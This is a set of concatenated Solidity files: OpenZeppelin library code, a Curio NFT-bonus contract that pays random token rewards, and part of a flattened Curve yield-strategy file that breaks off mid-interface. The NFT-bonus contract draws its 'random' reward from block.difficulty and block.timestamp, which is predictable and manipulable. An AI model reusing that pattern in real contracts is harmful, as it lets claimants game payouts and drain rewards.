) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/*
* NFT Bonus
*
* Copyright ©️ 2021 Curio AG (Company Number FL-0002.594.728-9)
* Incorporated and registered in Liechtenstein.
*
* Copyright ©️ 2021 Curio Capital AG (Company Number CHE-211.446.654)
* Incorporated and registered in Zug, Switzerland.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NftBonus is Ownable {
using SafeERC20 for IERC20;
/// @notice A record of claimed rewards by tokenId
mapping(uint256 => uint256) public claimed;
/// @notice Array of nft collections
address[] public collections;
/// @notice Left end of the tokenId range (min)
uint256 public tokenIdFrom;
/// @notice Right end of the tokenId range (max)
uint256 public tokenIdTo;
/// @notice Left end of the reward range (min)
uint256 public minReward;
/// @notice Right end of the reward range (max)
uint256 public maxReward;
/// @notice Reward token
IERC20 public rewardToken;
/// @notice An event that is emitted when an account claim reward for its NFT
event Claim(
address indexed nftCollection,
uint256 tokenId,
address indexed nftOwner,
uint256 reward
);
/// @notice An event that is emitted when the owner set tokenId range
event SetTokenIdRange(uint256 tokenIdFrom, uint256 tokenIdTo);
/// @notice An event that is emitted when the owner set reward range
event SetRewardRange(uint256 minReward, uint256 maxReward);
/// @notice An event that is emitted when the owner set a new nft collection
event SetNewCollection(address nftCollection);
/// @notice An event that is emitted when the owner replace collection
event UpdateCollection(
uint256 index,
address prevCollection,
address newCollection
);
/// @notice An event that is emitted when the owner withdraw tokens
event WithdrawTokens(IERC20 token, uint256 amount);
constructor(
address _nftCollection,
uint256 _minReward,
uint256 _maxReward,
uint256 _tokenIdFrom,
uint256 _tokenIdTo,
IERC20 _rewardToken
) {
require(_minReward <= _maxReward, "constructor: invalid reward range");
require(_tokenIdFrom <= _tokenIdTo, "constructor: invalid tokenId range");
collections.push(_nftCollection);
minReward = _minReward;
maxReward = _maxReward;
tokenIdFrom = _tokenIdFrom;
tokenIdTo = _tokenIdTo;
rewardToken = _rewardToken;
}
/**
* @notice Claim random reward
* @param _tokenId - msg.sender's nft id
*/
function claim(uint256 _tokenId) external virtual {
require(
claimed[_tokenId] == 0,
"claim: reward has already been received"
);
require(
_tokenId >= tokenIdFrom && _tokenId <= tokenIdTo,
"claim: tokenId out of range"
);
address sender = msg.sender;
address owner;
address nftCollection;
// gas safe - max 10 iterations
for (uint256 i = 0; i < collections.length; i++) {
try IERC721(collections[i]).ownerOf(_tokenId) returns (
address curOwner
) {
if (curOwner == sender) {
owner = curOwner;
nftCollection = collections[i];
break;
}
} catch {
continue;
}
}
require(owner == sender, "claim: caller is not the NFT owner");
uint256 amountReward = 0;
if (_random(0, 1) == 1) {
amountReward = _random(minReward, maxReward);
claimed[_tokenId] = amountReward;
rewardToken.safeTransfer(sender, amountReward);
} else {
claimed[_tokenId] = type(uint256).max;
}
emit Claim(nftCollection, _tokenId, sender, amountReward);
}
// ** ONLY OWNER functions **
/**
* @notice Set a new NFT collection
* @param _nftCollection - nft collection address
*/
function setNewCollection(address _nftCollection) external onlyOwner {
require(
collections.length < 10,
"setNewCollection: collections length must be less than 10"
);
collections.push(_nftCollection);
emit SetNewCollection(_nftCollection);
}
/**
* @notice Replace nft collection with a new collection
* @param _index - index of current nft collection
* @param _nftCollection - nft collection address
*/
function updateCollection(uint256 _index, address _nftCollection) external onlyOwner {
address prevCollection = collections[_index];
collections[_index] = _nftCollection;
emit UpdateCollection(_index, prevCollection, _nftCollection);
}
/**
* @notice Set a new tokenId range
* @param _tokenIdFrom - left end of the tokenId range (min)
* @param _tokenIdTo - right end of the tokenId range (max)
*/
function setTokenIdRange(uint256 _tokenIdFrom, uint256 _tokenIdTo) external onlyOwner {
require(
_tokenIdFrom <= _tokenIdTo,
"setTokenIdRange: invalid tokenId range"
);
tokenIdFrom = _tokenIdFrom;
tokenIdTo = _tokenIdTo;
emit SetTokenIdRange(_tokenIdFrom, _tokenIdTo);
}
/**
* @notice Set a new reward range
* @param _minReward - left end of the reward range (min)
* @param _maxReward - right end of the reward range (max)
*/
function setRewardRange(uint256 _minReward, uint256 _maxReward) external onlyOwner {
require(
_minReward <= _maxReward,
"setRewardRange: invalid reward range"
);
minReward = _minReward;
maxReward = _maxReward;
emit SetRewardRange(_minReward, _maxReward);
}
/**
* @notice Withdraw tokens to owner
*/
function withdraw(IERC20 _token, uint256 _amount) external onlyOwner {
_token.safeTransfer(owner(), _amount);
emit WithdrawTokens(_token, _amount);
}
// ** INTERNAL functions **
/// @dev Generate pseudorandom number
function _random(uint256 _min, uint256 _max) internal view returns (uint256) {
uint256 randomHash = uint256(keccak256(abi.encode(block.difficulty, block.timestamp)));
return _min + randomHash % (_max - _min + 1);
}
}
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|
// hevm: flattened sources of src/strategies/curve/strategy-curve-scrv-v3.sol
pragma solidity >=0.4.23 >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0;
////// src/interfaces/controller.sol
// SPDX-License-Identifier: MIT
/* pragma solidity ^0.6.0; */
interface IController {
function jars(address) external view returns (address);
function devfund() external view returns (address);
function treasury() external view returns (address);
function balanceOf(address) external view returns (uint256);
function withdraw(address, uint256) external;
function earn(address, uint256) external;
}
////// src/interfaces/curve.sol
/* pragma solidity ^0.6.2; */
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount)
external;
function remove_liquidity_imbalance(
uint256[4] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts)
external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(int128) external view returns (uint256);
}
interface ICurveZap {
function add_liquidity(
uint256[4] calldata uamounts,
uint256 min_mint_amount
) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata min_uamounts)
external;
function remove_liquidity_imbalance(
uint256[4] calldata uamounts,
uint256 max_burn_amount
) external;
function calc_withdraw_one_coin(uint256 _token_amount, int128 i)
external
returns (uint256);
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount,
bool donate_dust
) external;
function withdraw_donated_dust() external;
function coins(int128 arg0) external returns (address);
function underlying_coins(int128 arg0) external returns (address);
function curve() external returns (address);
function token() external returns (address);
}
interface ICurveGauge {
function deposit(uint256 _value) external;
function deposit(uint256 _value, address addr) external;
function balanceOf(address arg0) external view returns (uint256);
function withdraw(uint256 _value) external;
function withdraw(uint256 _value, bool claim_rewards) external;
function claim_rewards() external;
function claim_rewards(address addr) external;
function claimable_tokens(address addr) external returns (uint256);
function claimable_reward(address addr) external view returns (uint256);
function integrate_fraction(address arg0) external view returns (uint256);
}
interface ICurveMintr {
function mint(address) external;
function minted(address arg0, address arg1) external view returns (uint256);
}
interface ICurveVotingEscrow {
function locked(address arg0)
external
view
returns (int128 amount, uint256 end);
function locked__end(address _addr) external view returns (uint256);
function create_lock(uint256, uint256) external;
function increase_amount(uint256) external;
function increase_unlock_time(uint256 _unlock_time) external;
function withdraw() external;
function smart_wallet_checker() external returns (address);
}
interface ICurveSmartContractChecker {
function wallets(address) external returns (bool);
function approveWallet(address _wallet) external;
}
////// src/lib/safe-math.sol
/* pragma solidity ^0.6.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// src/lib/erc20.sol
// File: contracts/GSN/Context.sol
/* pragma solidity ^0.6.0; */
/* import "./safe-math.sol"; */
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// src/interfaces/jar.sol
/* pragma solidity ^0.6.2; */
/* import "../lib/erc20.sol"; */
interface IJar is IERC20 {
function token() external view returns (address);
function claimInsurance() external; // NOTE: Only yDelegatedVault implements this
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function earn() external;
}
////// src/interfaces/uniswapv2.sol
/* pragma solidity ^0.6.2; */
interface UniswapRouterV2 {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
